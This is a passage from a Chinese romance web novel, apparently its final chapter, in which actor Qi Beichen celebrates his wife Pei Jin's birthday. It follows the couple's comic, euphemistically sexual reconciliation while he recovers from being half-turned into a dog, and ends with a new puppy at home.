她平时那么喜欢做甜品和小蛋糕,齐北宸有幸跟着裴矜蹭过几块,手艺确实不错,便萌生了拜师求学的心。 “你想给小裴做生日蛋糕啊,好,你放心,别的我不敢保证,小裴那边我一定替你保密。” 一连好几天,齐北宸逮到机会就往张阿姨家钻。张阿姨很有耐心,手把手教齐北宸怎么处理配比,还告诉他裱花的诀窍。 齐北宸努力地听,也记下了不少,然而每次总能在细节上翻车,让他懊悔不已。 做毁的基底没有一百也有几十,自认没有老婆的学习天赋,短时间内速成的计划眼瞅着要告吹,齐北宸眼珠子一转,快速制定了pnB计划。 生日蛋糕做不了,仪式感不能少。裴矜最喜欢他演的薄总,那就在生日当天让她好好近距离体验一把薄总下凡。 齐北宸把自己私藏的西装马甲挨个翻出来试了遍,站在镜子前左看右看,怎么都觉得完美极了。裴矜路过时他还偷瞄了几眼,老婆大人停留的时间不算短,这计划成功概率不小。 蛋糕计划留到裴矜上班当天再试第二次,齐北宸着手把他们之前拍摄的照片,包括他变成小狗时期偷拍的照片全都挑选了一遍,随后又请教了几个搞设计的朋友帮他一起排版制作。 紧赶慢赶,终于到了裴矜生日当天,齐北宸的蛋糕计划最终宣告破产。 没时间处理做坏的原材料,他匆匆忙忙把东西往厨房角落里一塞,就开始布置家中,最后换上准备的薄总套装,打开氛围灯等裴矜下班。 变狗期间让齐北宸练就了绝佳的耳力。老婆不愿意把他的私服Q版钥匙圈给他,还在上面挂了个小铃铛和狗毛作伴在包包上,这就方便了齐北宸精准定位。 “叮铃~叮铃~” 铃铛入门,随后停止了声音,房内人的脚步声越靠越近。 要来了。 齐北宸紧张得手心里全是汗,脑袋里浮想联翩。 他只COS薄总会不会显得有点太匆忙了?早知道就不该浪费那些鲜奶油,全涂自己身上不就好了? 不对不对,裴矜喜欢干净,上来第一次那么豪放可不行。 齐北宸解开一颗衬衫扣子,低头往里看了看,觉得自己平时练得不差,心情在纠结后悔和事已至此别想那么多之中反复横跳,直到裴矜推开了他的房门。 什么既定台词,什么专属布景全都被抛到脑后。老婆大人一根手指头就把他轻松拿捏了。 齐北宸屁颠屁颠地跑过去,把脸往裴矜手心里一放,脑子里那些才被压下去的骚操作全又冒了出来。 他好像还没给老婆准备生日礼物,要不……给老婆送给打包好的小齐狗,不知道她收不收? 业务越来越熟练的齐北宸,还想拉着他唯一的顾客开展新业务。 第一步,展示自己的硬件条件。 第二步,展示自己的独特性和绝对的平等尊重。 第三步,把选择权交给顾客本身,告知签约期限是永远。可以增值,但不能解约。 出手阔绰的裴女士当场办理完业务就要开箱验货,两个萌新前不久还亲嘴都会磕牙,一场业务办理得那叫一个曲折。 还好,理论知识没有丢。 齐北宸这时候忽然不太讨厌那些天天在群里开车的老司机了。 他刚结婚那会儿,狐朋狗友们轮番给他推荐各种车号,种类之全和丰富程度让人叹为观止。 齐北宸一开始是拒绝的,他才不需要那些东西来增添不必要的知识库。 但自从他和老婆办理裹第一次业务后,他就意识到,有些时候不服不行。把门一关,平板架好,齐北宸得空就是托腮研究。 书到用时方恨少,还好这最重要的第一单没有出洋相,不然他齐大少的名声在圈子里传开了,还要不要混了。 一场业务办得那叫一个酣畅淋漓。 单手搂着老婆放在自己胸口,齐北宸觉得人生最幸福之事莫过于此。 齐北宸给自己打了一百分,裴矜却表示事还没完你就想着打分了?做梦。 萌新齐业务员身体力行地先让老婆办完,这才进行下半场。 顾客是上帝,不哄着不行,哪儿有让顾客天天等自己的道理。 下半场开赛,齐北宸又惦记上了远在厨房间的奶油。 那么高的温度该不会都变味了吧?早知道就把东西扔出去了,放到明天再处理也不知道会不会有事? 很快他就没精力想那些乱七八糟的了,毕竟伺候好裴娘娘才是小齐子最重要的课题。 这一个晚上,齐北宸扣着老婆大人睡得格外香。 不止今天,以后他再也不要和老婆分床了。他们可是正经夫妻,哪儿有一人一间当室友的道理?回头就和老婆说,老婆要是扭捏,他就先睡服了再说。 两眼一闭一睁,转眼又是新的一天。 温香软玉在怀感觉是很不错,如果没有这毛茸茸的狗耳朵,软软的肉垫,还有屁股上甩来甩去的狗尾巴,他会更开心。 夫妻俩第一时间向万恶之源梅由谨发难,结果得到了个让裴矜转不过弯,齐北宸疯狂脑补怎么解释才不显得车速那么快的解答。 荷尔蒙,对,一切都是荷尔蒙的锅。 他是为了治病,为了好起来,蓑衣才不得不和老婆贴贴。 要是老婆大人有意见,账全算在梅由谨那个不靠谱的技术宅头上,和他齐北宸没半毛钱关系。 心里把锅分配得明明白白,厨房里躺了一天的厨余垃圾得处理。 全副武装得比私生饭还离谱,齐北宸前脚下楼,一场突如其来的倾盆大雨把他浇了个透。 啊,失策了,以为就那么几分钟的路没打伞,结果还是没能斗过老天爷他老人家。 裴矜拉着湿漉漉的小齐狗要洗漱干净,但他现在是一只软弱无能,只有肉垫,想抓东西 都无处下爪的半人半狗小废物。 “不行。” “想都别想。” “你……总之我不答应。” 申请被连续驳回,齐北宸依旧坚持不懈地端出他的神级解释继续说服裴矜。 “老婆,节约用水是美德。” “我都这样了,你也不想看我为难吧?” “我的手还没好透呢,要是有个万一会很麻烦的。” 耳根子软的裴主任被连哄带骗拐了进去,一场单人搓澡业务升级为VIP特需服务,俩人弄得双脸都透着健康的红晕,许久才从里面出来。 荷尔蒙疗效确实不错。齐北宸看到自己缩小的尾巴,计上心来。 之前没能实现的骚操作,被转移到了无辜的狗毛挂件上。 蹑手蹑脚把钥匙圈上的狗毛饰品和小铃铛摘下,齐北宸带着他的新玩具又去撩拨老婆。 小狗毛质地柔软,他先前看裴矜爱不释手,天天挂在包上。包包上的装饰品又不能天天摸,还是有劳他自己,亲自动手让老婆感受一下什么叫他独狗特制的小狗毛。 理论业务生疏的裴矜一点准备都没有,就被齐大演奏家拉去开了一场音乐会。 柔软的狗毛由上而下,在每个能抚慰的地方都留下了属于它的印记。 终点站在水源密集之处。 累积了几天业务经验的齐北宸非常有耐心地控制着狗毛,看着它一点点受潮、淋湿,轻盈柔软的形体不再,最后才变成一颗圆圆的小球。 嗯,上面还有一股裴矜的冷香味,这才是真正的“小齐狗毛”。 完成阶段性任务的挂件被放置在一边任由风干,男女主人显然没有管它的时间了。 老婆的味道让人上头,吃了还想再吃。 如果老婆大人不给吃,那他只好把这块狗肉蛋糕亲自送到娘娘嘴里去了。 时间斗转星移,齐北宸的外形恢复了正常。他还是保持着定期去梅由谨那边检查身体的习惯,偶尔也会观察店里的小动物。 演员入门第一课就是要学会模仿和释放天性。 回忆起变成狗的那些日子,有荒唐,有搞笑,也有心酸。一点一滴,那些微小的琐碎片段放在一起,才组成了现在的他和裴矜。 人生之路还很长,有些人是过客,不会停留多久就路过了。有些人是常客,兜兜转转那么久,停下脚步回头一看,原来那人始终在那儿,不曾离开。 齐北宸的工作已恢复正常,经过了那么多年的打拼,他终于争取到了一个S级长剧里的重要配角的工作机会。 八年了,终于等到了。 齐北宸脚步轻快地回到家,迫不及待地想和裴矜分享这份喜悦。 “汪!” 进门才换下鞋子,一声小狗叫吸引了他的注意力。 齐北宸换好拖鞋进屋一看,一只长得和他小土匪时期几乎一模一样的小泰迪犬正窝在裴矜的臂弯里。 它居然还叫“宸宸”,他这个大宸宸可要吃醋了。 “欢迎回家,老公。” 刚刚皱起的眉头一下舒展开来,齐北宸忍俊不禁弯起了嘴角。 算了,这个好消息再过会儿告诉她吧。 感谢命运让你我相遇。 我回来了,老婆。